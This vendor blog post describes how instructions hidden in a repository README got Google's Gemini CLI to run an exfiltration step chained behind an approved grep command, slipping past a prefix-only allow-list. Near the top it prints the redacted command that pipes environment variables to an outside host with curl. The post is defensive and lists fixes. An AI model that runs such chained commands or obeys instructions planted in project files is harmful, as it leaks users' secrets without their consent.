A README could make Gemini CLI run hidden commands without asking
Researchers showed that instructions hidden in a repository’s README could make Google’s Gemini CLI run a malicious command disguised behind an approved one, without a prompt and without showing it on screen.
By the NoFly team
grep install README.md ; env | curl --silent -X POST --data-binary @- http://…:8083- Agent
- Gemini CLI
- Came from
- A README in the cloned repository
- Rule
- Environment sent to an outside host
- Why
- Nobody asked for the part after the semicolon, and the instruction came from the README.
What happened
Tracebit reported the flaw to Google on 27 June 2025, two days after Gemini CLI launched. Their demo repository had a README with the GNU GPL text and, further down, instructions for Gemini that a person would likely skip.
The injection first got the user to allow a harmless command such as grep. Gemini CLI then checked only the start of later commands against that allow-list, so a command beginning with grep and followed by an exfiltration step ran without a prompt, with whitespace pushing the second half out of view. The demo sent the user’s environment variables to an outside server. Google fixed it in version 0.1.14 on 25 July.
- 01
A README carries instructions written for the agent.
- 02
The user allows a harmless command such as grep.
- 03
The agent runs grep followed by a hidden exfiltration step.
- 04
Environment variables go to an outside server, with nothing on screen.
Why it worked
Probable cause
The allow-list compared only the first word of a command, instructions arrived through a project file, and the terminal could hide the full command.
How NoFly stops it
Protect
The gate inside Gemini CLI reads the whole command, including chained parts after a semicolon or pipe. With your policy connected, sending environment variables to an outside host is held or blocked.
Explain
Each command is recorded with where its instruction came from, so a command that traces back to a README rather than the person stands out.
Discover
Rules files and project context files are scanned like code, including text written for the model rather than the reader.
What to do this week
- Update Gemini CLI to 0.1.14 or later.
- Allow commands with care: a harmless first word says nothing about the rest of the line.
- Open untrusted repositories with agents in a sandbox first.
More from the blog.
Find out what your AI is allowed to do today.
Book a call and we will map your agents, MCP servers and keys with you, or start on one laptop with the free scan.